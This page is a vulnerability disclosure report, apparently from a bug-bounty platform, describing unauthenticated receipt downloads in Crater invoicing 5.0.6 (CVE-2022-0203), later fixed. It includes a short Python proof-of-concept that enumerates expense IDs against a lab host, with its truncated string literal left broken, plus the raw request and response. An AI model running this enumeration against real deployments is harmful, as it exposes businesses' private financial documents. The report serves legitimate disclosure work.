# Improper Access Control in crater-invoice/crater

0

Valid Reported on Dec 29th 2021

## Description

In recent Crater version (faf1ef09 tag: 5.0.6) I discovered, that not authenticated user can download all expense receipts uploaded to any company.

## Proof of Concept

```
import requests

for i in range(1, 100):
    r = requests.get(f'http://172.17.0.1:8080/expenses/{i}/download-receipt

    if r.status_code == 200:
        print(f'Downloaded receipt for expense No.{i}')
```

Vulnerable request:

```
GET /expenses/2/download-receipt HTTP/1.1
Host: 172.17.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```



Response:

response:

```
HTTP/1.1 200 OK
Host: 172.17.0.1:8080
Date: Wed, 29 Dec 2021 19:26:07 GMT
Connection: close
X-Powered-By: PHP/8.0.14
Cache-Control: public
Date: Wed, 29 Dec 2021 19:26:07 GMT
Last-Modified: Wed, 29 Dec 2021 19:15:13 GMT
Content-Disposition: attachment; filename=Sample.pdf
Content-Type: application/pdf
Content-Length: 65695
Accept-Ranges: bytes
Set-Cookie: XSRF-TOKEN=eyJpdiI6InNZRUpvRFo0T0cxNHVmdkxvZEFDRlE9PSIsInZhbHVl
Set-Cookie: laravel_session=eyJpdiI6InV1aTZPVFlGZzNSNFFieHRnZVVzMVE9PSIsInZ
Set-Cookie: 8XSG7KqTTKX6kx0xn1mEIE2dq4kSyWAoyIUaK8CF=eyJpdiI6IktHZDhvMUkzZG

%PDF-1.4
%Ã¤Ã¼Ã¶Ã
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
stream
...
```

## Impact

This vulnerability allows to download all receipts of expenses.

## Occurrences

web.php L88

## References

- https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control

CVE
CVE-2022-0203
(Published)

Vulnerability Type
CWE-284: Improper Access Control

Severity
High (7.5)

Visibility
Public

Status
Fixed

Found by

theworstcomrade
@theworstcomrade
unranked

Fixed by

Mohit Panjwani
@mohitpanjwani
maintainer

This report was seen 355 times.

We are processing your report and will contact the **crater-invoice/crater** team within 24 hours. a year ago

We have contacted a member of the **crater-invoice/crater** team and are waiting to hear back a year ago

We have sent a follow up to the **crater-invoice/crater** team. We will try again in 7 days. a year ago

We have sent a second follow up to the **crater-invoice/crater** team. We will a year ago

Mohit Panjwani validated this vulnerability 10 months ago

theworstcomrade has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Mohit Panjwani marked this as fixed in 6.0.2 with commit dd324c 10 months ago

Mohit Panjwani has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

web.php#L88 has been validated ✔

Sign in to join this conversation